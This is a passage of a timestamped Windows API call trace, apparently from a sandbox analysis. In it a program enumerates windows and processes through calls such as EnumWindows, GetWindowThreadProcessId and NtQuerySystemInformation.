[0286.480] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0286.480] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0286.480] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0286.480] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0286.480] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0286.480] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0286.481] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0286.481] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0286.481] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0286.481] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0286.481] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0286.481] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0286.481] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0286.481] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0286.481] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0286.481] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0286.481] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0286.482] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0286.482] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0286.482] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0286.482] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0286.482] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0286.482] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0286.482] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0286.482] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0286.482] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0286.483] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0286.484] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0286.484] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0286.484] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0286.485] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0286.485] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0286.485] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0286.485] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0286.486] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0286.486] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0286.486] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0286.486] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0286.486] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.486] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0286.486] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0286.486] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.486] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0286.486] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0286.487] GetWindowThreadProcessId (in: hWnd=0x10338, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0286.487] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0286.488] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0286.531] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0287.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11a18) returned 0x0
[0287.818] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11a18) returned 0x0
[0287.819] ResetEvent (hEvent=0x100) returned 1
[0287.873] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11a18) returned 0x0
[0287.878] EnumWindows (lpEnumFunc=0x1b1a2a0c, lParam=0x0) returned 1
[0287.908] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0287.908] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.908] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.908] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.908] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.908] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0287.908] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0287.909] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0287.909] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.909] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0287.910] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.910] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.910] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0287.910] GetWindowThreadProcessId (in: hWnd=0x3031a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0287.910] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0287.910] GetWindowThreadProcessId (in: hWnd=0x300a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.910] GetWindow (hWnd=0x300a8, uCmd=0x4) returned 0x102e0
[0287.910] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.910] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0287.910] IsWindowVisible (hWnd=0x10320) returned 0
[0287.910] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.911] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0287.911] IsWindowVisible (hWnd=0x1031c) returned 0
[0287.911] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.911] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0287.911] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.911] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0287.911] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.911] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0287.911] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.911] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0287.911] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.911] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0287.911] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0287.911] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0287.911] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.912] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0287.912] IsWindowVisible (hWnd=0x102e0) returned 0
[0287.912] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.912] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0287.912] IsWindowVisible (hWnd=0x102e6) returned 0
[0287.912] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.912] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0287.912] IsWindowVisible (hWnd=0x102e2) returned 0
[0287.912] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.912] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0287.912] IsWindowVisible (hWnd=0x102de) returned 0
[0287.912] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0287.912] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0287.912] IsWindowVisible (hWnd=0x102dc) returned 0
[0287.912] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0287.913] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0287.915] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0287.915] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.915] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.915] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.915] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.915] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.915] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.916] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.916] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0287.916] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0287.916] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0287.916] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0287.916] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0287.916] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0287.916] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0287.917] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0287.917] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0287.917] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0287.918] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0287.918] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0287.918] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0287.918] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0287.918] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0287.918] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0287.918] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0287.918] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0287.919] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0287.919] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0287.920] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0287.921] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0287.921] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0287.921] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0287.921] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
